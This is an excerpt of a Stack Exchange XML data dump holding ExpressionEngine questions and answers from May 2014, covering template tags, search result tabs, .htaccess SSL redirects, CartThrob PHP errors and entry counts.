  <row Id="22068" PostTypeId="2" ParentId="22059" CreationDate="2014-05-20T07:47:35.203" Score="0" Body="&lt;p&gt;From a Low Variables point of view, you don't need to add the Matrix variable pair inside the &lt;code&gt;low_variables:pair&lt;/code&gt; tags. So instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;my_matrix_var&quot;}&#xA;    {my_matrix_var}&#xA;         matrix content here&#xA;    {/my_matrix_var}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...you'd need to use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;my_matrix_var&quot;}&#xA;     matrix content here&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for all the Matrix/Playa/Channel Images bits; can't really help with that, although it would be useful for you to add what it is that's not working for you.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-20T07:47:35.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22070" PostTypeId="1" AcceptedAnswerId="22077" CreationDate="2014-05-20T09:08:37.003" Score="1" ViewCount="95" Body="&lt;p&gt;We're building a search that has a tabbed results page, we have a tab for each channel, works great apart from when there's no results for a particular channel and we're struggling to find the correct way to hide the tab or display a no result message for each individual tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code we currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav class=&quot;tabs&quot;&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#first&quot;&amp;gt;Tab 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#second&quot;&amp;gt;Tab 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA; {exp:search:search_results switch=&quot;even|odd&quot; limit=&quot;2000&quot;}&#xA;      {if channel_short_name == &quot;channel_name_1&quot;}&#xA;         &amp;lt;li class=&quot;{switch}&quot;&amp;gt;&#xA;             content here&#xA;         &amp;lt;/li&amp;gt;&#xA;       {/if}&#xA; {/exp:search:search_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA; {exp:search:search_results switch=&quot;even|odd&quot; limit=&quot;2000&quot;}&#xA;      {if channel_short_name == &quot;channel_name_2&quot;}&#xA;         &amp;lt;li class=&quot;{switch}&quot;&amp;gt;&#xA;             content here&#xA;         &amp;lt;/li&amp;gt;&#xA;       {/if}&#xA; {/exp:search:search_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no_results with no joy, because we're using an if channel_short_name it won't know if that specific channel has no results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using {count} but this again includes all search results, not channel specific ones so doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a new {exp:search:search_results} tag for each tab, but seems you can't specify channel in the search tag so this doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-10-16T16:05:14.213" Title="Splitting search results into tabs with no results messages" Tags="|search|count|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22071" PostTypeId="2" ParentId="21988" CreationDate="2014-05-20T10:25:00.143" Score="1" Body="&lt;p&gt;I think you're not fully understanding how EE URL's work. Here's the gist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you do &lt;em&gt;not&lt;/em&gt; use an .htaccess file:&lt;/strong&gt;&lt;br&gt;&#xA;The URL to view the template group NEWS and template file &lt;strong&gt;INDEX.HTML&lt;/strong&gt; will be:&lt;br&gt;&lt;em&gt;example.com/index.php/news/&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you do use an .htaccess file to remove the index.php part of the URL:&lt;/strong&gt;&lt;br&gt;&#xA;The URL to view the template group NEWS and template file &lt;strong&gt;INDEX.HTML&lt;/strong&gt; will be:&lt;br&gt;&lt;em&gt;example.com/news/&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the template file, if it is INDEX.HTML, does not need to be added to the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you do &lt;em&gt;not&lt;/em&gt; use an .htaccess file:&lt;/strong&gt;&lt;br&gt;&#xA;The URL to view the template group NEWS and template file &lt;strong&gt;VIEW.HTML&lt;/strong&gt; will be:&lt;br&gt;&lt;em&gt;example.com/index.php/news/view/&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you do use an .htaccess file to remove the index.php part of the URL:&lt;/strong&gt;&lt;br&gt;&#xA;The URL to view the template group NEWS and template file &lt;strong&gt;VIEW.HTML&lt;/strong&gt; will be:&lt;br&gt;&lt;em&gt;example.com/news/view/&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of questions and answers here about how to setup an .htaccess file to remove index.php. When you have that file ready, put it in the root directory of your site's domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;BONUS: As Jonathan Waters noted above in the comments, the Site's Index Page under General Configurations is best left blank if you are using an .htaccess file to remove index.php.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-20T10:25:00.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22072" PostTypeId="1" CreationDate="2014-05-20T10:40:57.370" Score="0" ViewCount="10281" Body="&lt;p&gt;I'm having some trouble with forcing https on a given template group.  If I use the following, I get the &quot;too many redirects&quot; error. If I comment out my &quot;force SSL&quot; conditions, everything else works fine (removal of www, removal of index.php, etc.). Can anyone point out what's out of place here?  This is for a site hosted with EngineHosting (if that plays any role here) and I am using the Charge add-on with &quot;force SSL&quot; turned on (which forces https:// on the post value on the module's generated form)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;# Enable Rewrite Engine&#xA;# ------------------------------&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Redirect www Requests&#xA;# ------------------------------&#xA;RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&#xA;# Redirect index.php Requests&#xA;# ------------------------------&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/my_system_folder/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;# Forse SSL on Donate Section Requests&#xA;# ------------------------------&#xA;RewriteCond %{HTTPS} off&#xA;RewriteCond $1 ^(donate) [NC]&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;# ------------------------------&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;#add Expires&#xA;# ------------------------------&#xA;FileETag MTime Size&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;  &amp;lt;filesmatch &quot;\.(jpg|png|css|js|jpeg|woff|ttf|svg|eot|gif)$&quot;&amp;gt;&#xA;       ExpiresActive on&#xA;       ExpiresDefault &quot;access plus 1 year&quot;&#xA;   &amp;lt;/filesmatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just want to force SSL on any /donate URI.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2018-10-01T07:01:15.060" Title="Too many redirects when forcing https on a template group" Tags="|htaccess|ssl|charge|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22073" PostTypeId="2" ParentId="22072" CreationDate="2014-05-20T11:07:44.547" Score="0" Body="&lt;p&gt;Whilst not answering directly, I've always used force SSL module and it just works: &lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dm-force-ssl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-20T11:07:44.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22074" PostTypeId="1" CreationDate="2014-05-20T11:33:32.410" Score="0" ViewCount="569" Body="&lt;p&gt;Managed to checkout fine before switching email notifications on. After switching to &quot;Log and send&quot; I now get a number of PHP errors using Cartthrob 2.5 and EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had a similar issue and managed to resolve?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 483&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 484&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 483&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 484&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 483&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 484&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 483&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&#xA;&#xA;Filename: core/Security.php&#xA;&#xA;Line Number: 484&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/damelin/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-08-18T12:53:31.923" Title="Cartthrob Checkout PHP Errors" Tags="|cartthrob|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22075" PostTypeId="2" ParentId="22074" CreationDate="2014-05-20T11:45:43.710" Score="1" Body="&lt;p&gt;It looks like there are some core functions in your EE version that aren't support anymore by your version of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could upgrade EE to the latest version and hope this fixes the problem. If this doesn't help you should make a bug report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to solve the problem yourself, you can open up the files mentioned in the php errors and edit those.&#xA;What you need to do is remove the &lt;code&gt;e&lt;/code&gt; at the end of the first parameter of &lt;code&gt;preg_replace&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_replace(&quot;/\%u([0-9A-F]{4,4})/e&quot;,&quot;'&amp;amp;#'.base_convert('\\1',16,10).';'&quot;, $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_replace(&quot;/\%u([0-9A-F]{4,4})/&quot;,&quot;'&amp;amp;#'.base_convert('\\1',16,10).';'&quot;, $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2231" LastActivityDate="2014-05-20T11:45:43.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22076" PostTypeId="1" CreationDate="2014-05-20T12:13:13.580" Score="1" ViewCount="69" Body="&lt;p&gt;We are attempting to use Super Search to show articles which match any any of the keywords in a search field, rather than having to match them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passing the form through to our results page gives a URL as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.com/search/search&amp;amp;keywords=duke+laser/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst searching for 'duke' on its own returns one result and searching for 'laser' on its own returns a separate result, searching for both, as above, returns no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have tried both 'inclusive_keywords=&quot;no&quot;' and 'where=&quot;any&quot;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard coding in 'keywords=&quot;duke+laser&quot;' returns no results either, but hard coding in 'keywords=&quot;duke|laser&quot;' does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&#xA;SS 2.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2014-05-20T12:13:13.580" Title="Super Search - Matching any of keywords with inclusive set to no not working" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22077" PostTypeId="2" ParentId="22070" CreationDate="2014-05-20T13:40:58.823" Score="3" Body="&lt;p&gt;Maybe there's a better native ee way without enabling php, but I would use Stash or Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Stash (&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset_list%7D&quot; rel=&quot;nofollow&quot;&gt;set_list&lt;/a&gt;) to set a list of all your search results and then you could have more control over outputting for each tab/channel (using &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aget_list%7D&quot; rel=&quot;nofollow&quot;&gt;get_list&lt;/a&gt;). When you set your list set a variable for channel (i.e.: &quot;my_cached_channel_var&quot;), and then when you output your list use 'match' and 'against' parameters on that same stash channel variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; you could add a channel parameter to the results tag (from the docs: &quot;The Results tag supports all parameters from the native channel:entries tag...&quot;). &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-20T13:40:58.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22078" PostTypeId="1" CreationDate="2014-05-20T13:41:03.550" Score="0" ViewCount="24" Body="&lt;p&gt;I have a channel called 'news' and have a dropdown box of the areas they relate to. What I would like to do is search the channel and find how many have been tagged by that type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my 'categories' in a custom field selectbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example my list should look like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sport (5)&#xA;politics (6)&#xA;worldwide(2)&#xA;local (4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is essentially similar to a categories list in wordpress.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="2616" LastEditDate="2014-05-20T19:53:48.363" LastActivityDate="2014-05-20T19:53:48.363" Title="grouping by area" Tags="|channel-entries|categories|channel|grouping|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22079" PostTypeId="1" AcceptedAnswerId="22200" CreationDate="2014-05-20T13:49:50.610" Score="0" ViewCount="261" Body="&lt;p&gt;I have a ajax template and would like to query the channel to select certain entries for a drop down select. How should I modify the code below to get all the results needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to modify the JSON feed for the following:&#xA;&lt;code&gt;$productSelect = new SelectBox('What would you like to purchase?','Choose a product category');&#xA;$productSelect-&gt;addItem('Phones','phoneSelect')&#xA;              -&gt;addItem('Notebooks','notebookSelect')&#xA;              -&gt;addItem('Tablets','tabletSelect');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each addItem needs to be a channel entry. Right now the EE template is not accepting the channel entry call using the modified script below...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$productSelect = new SelectBox('3. Select a Product','---');&#xA;{exp:channel:entries channel=&quot;product&quot; category=&quot;2&quot; dynamic=&quot;off&quot; disable=&quot;member_data|pagination&quot;}&#xA;$productSelect-&gt;addItem('{title}');&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditDate="2014-05-21T05:57:05.837" LastActivityDate="2014-05-24T15:34:06.190" Title="PHP Query EE database" Tags="|php|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22080" PostTypeId="2" ParentId="14108" CreationDate="2014-05-20T13:56:15.550" Score="0" Body="&lt;p&gt;I had this same problem, but I discovered that the form worked when it wasn't in the &quot;home page&quot; template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Literally just changing a different template group to the &quot;home page&quot; group magically made the channel form start writing to the database correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a permanent solution, but it may be a workaround.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2014-05-20T13:56:15.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22081" PostTypeId="1" CreationDate="2014-05-20T14:16:23.607" Score="1" ViewCount="263" Body="&lt;p&gt;we need a 'counter' which displays the total number of entries for a given channel limited by category and status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were originally doing this via the EE Stats module before the Status/Cats requirement was added, the Stats module can't handle those parameters so need another approach - we're talking about possibly 10k entries so we can;t sure 'count' - it's going to have to be a query or a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions for that sort of large amount? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-05-21T15:35:09.530" Title="Displaying Count of Large Amount of Entries - Best Practice?" Tags="|count|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22082" PostTypeId="1" AcceptedAnswerId="22093" CreationDate="2014-05-20T14:28:57.310" Score="0" ViewCount="61" Body="&lt;p&gt;I may be dense, but I do not see where to add the license number. In the installation instructions it says in the &quot;Global section&quot;, I can't find this section. Besides that installation was very simple. a route to the global section or any other hint as to where to add the license key would be helpful. thanks! &lt;/p&gt;&#xA;" OwnerUserId="3083" LastEditorUserId="28" LastEditDate="2014-05-20T18:09:07.820" LastActivityDate="2014-05-20T18:39:45.060" Title="Where do I add the cartThrob License Code?" Tags="|cartthrob|license|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22084" PostTypeId="1" AcceptedAnswerId="22135" CreationDate="2014-05-20T15:04:37.717" Score="4" ViewCount="542" Body="&lt;p&gt;The main issue I’m having, and this is a general issue, is because the products are part of a range.  In essentially the same way as an iPad where you have options of 16gb, 32gb or 64gb memory with wi-fi or wi-fi &amp;amp; mobile options our ranges work in a similar fashion, some with far more complex options.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with the iPad, it can be said there are 6 different products reflecting the options, our products are similar and instead of showing, for example, 6 products that all look the same from the outside we’re promoting the product range and have an options panel so the end user can select their requirements and a product model is defined for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of a complete redesign I am working on but the current site has this functionality working (My boss liked it so much he wanted me to add it before I developed the new site!!) and you can see it in the left hand panel here &lt;a href=&quot;http://www.picotech.com/picoscope5000-flexibleresolution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.picotech.com/picoscope5000-flexibleresolution.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It’s built on jQuery so is all client side and just passes a catalogue number to the cart.  The problem I’m having is I can’t seem to replicate that function.  There are some models that are set from 1 option that would work with a product modifier but there are many with more than 1 option and it is not (from what I can gather?!) possible to use multiple product modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, from what I’m noticing one entry is being rendered in the JavaScript code that’s generated, Is that what is used to send info to the cart??? If I was able to generated an array of all the models in the range then I'm hoping that would work but I'm unsure as to how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated&#xA;Jon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tv4Ff.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2704" LastEditorUserId="2704" LastEditDate="2014-05-21T15:47:32.327" LastActivityDate="2014-05-21T16:04:40.923" Title="Expresso store multiple product modifiers" Tags="|expresso-store|product|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22086" PostTypeId="2" ParentId="22081" CreationDate="2014-05-20T15:22:00.387" Score="7" Body="&lt;p&gt;The query module would do nicely here. Unless the information rapidly changes and 100% accuracy is necessary, I also recommend tag caching if the page itself is not cached.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(*) AS total&#xA;    FROM exp_channel_titles t&#xA;    WHERE t.channel_id = 1&#xA;    AND t.status IN ('open', 'featured')&#xA;    AND t.entry_id IN (SELECT entry_id FROM exp_category_posts WHERE cat_id = 265)&quot;&#xA;    cache=&quot;yes&quot; refresh=&quot;43200&quot;}&#xA;        There are {total} entries in Channel ID 1 with a Category ID of 265.&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can of course change the &lt;code&gt;channel_id&lt;/code&gt; and &lt;code&gt;cat_id&lt;/code&gt; as necessary.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-05-21T15:35:09.530" LastActivityDate="2014-05-21T15:35:09.530" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="22087" PostTypeId="1" AcceptedAnswerId="22089" CreationDate="2014-05-20T15:29:28.227" Score="-1" ViewCount="64" Body="&lt;p&gt;I'd like to do something like at &lt;a href=&quot;http://www.jacklmoore.com/zoom&quot; rel=&quot;nofollow&quot;&gt;http://www.jacklmoore.com/zoom&lt;/a&gt;, zooming into an image on hover. Is there a preferred/popular way of doing this in EE? Any recommended software?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-20T15:49:16.777" Title="EE solution for image-zooming on hover?" Tags="|image|image-galleries|" AnswerCount="1" CommentCount="3" ClosedDate="2014-05-20T18:17:20.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="22088" PostTypeId="2" ParentId="21972" CreationDate="2014-05-20T15:35:20.230" Score="1" Body="&lt;p&gt;OK, here is the solution. The form needed an input for the credit card security code. We are not requiring that, but it had to be in there as a hidden input.&lt;/p&gt;&#xA;" OwnerUserId="3108" LastActivityDate="2014-05-20T15:35:20.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22089" PostTypeId="2" ParentId="22087" CreationDate="2014-05-20T15:49:16.777" Score="4" Body="&lt;p&gt;Image zooming is a front-end/template issue, so you can do whatever you want. Just follow the instructions of the jQuery plugin you want to use.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-20T15:49:16.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22090" PostTypeId="1" CreationDate="2014-05-20T17:16:27.527" Score="0" ViewCount="79" Body="&lt;p&gt;I'm working on a site that sells maps, and I'm using related_categories_mode=&quot;yes&quot; to display similar maps to the one you're viewing. Maps can be assigned categories such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Europe&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;United Kingdom&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;England&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Scotland&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;France&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Germany&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;United States&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;New York&#xA;... etc ...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My problem is: If a map is marked as &quot;Europe &gt; United Kingdom &gt; Scotland&quot;, EE displays any maps from &quot;Europe&quot;, rather than &quot;Scotland&quot;. I need it to be more specific and find ones in the highest category that's been assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way to do this? I'm on EE 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2015-02-27T00:21:32.140" Title="Limit related_categories_mode to last child category" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22091" PostTypeId="1" CreationDate="2014-05-20T18:05:42.920" Score="0" ViewCount="81" Body="&lt;p&gt;I want to display the dioscont from a coupon on the order form in Cart Throb.&#xA;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot; entry_id=&quot;{segment_3}&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot;}&#xA;Discount: {order_discount}&amp;lt;br /&amp;gt;&#xA;Coupon Code: {order_coupons}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing an invoice with the code above I can get the {order_coupons} to display but {order_discount} is always empty and not showing the dollar amount that was discounted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have the field mapped properly in CT settings &gt; orders &lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2014-05-20T18:25:07.807" LastActivityDate="2014-05-20T18:25:07.807" Title="Cart Throb display Discount amount on order" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
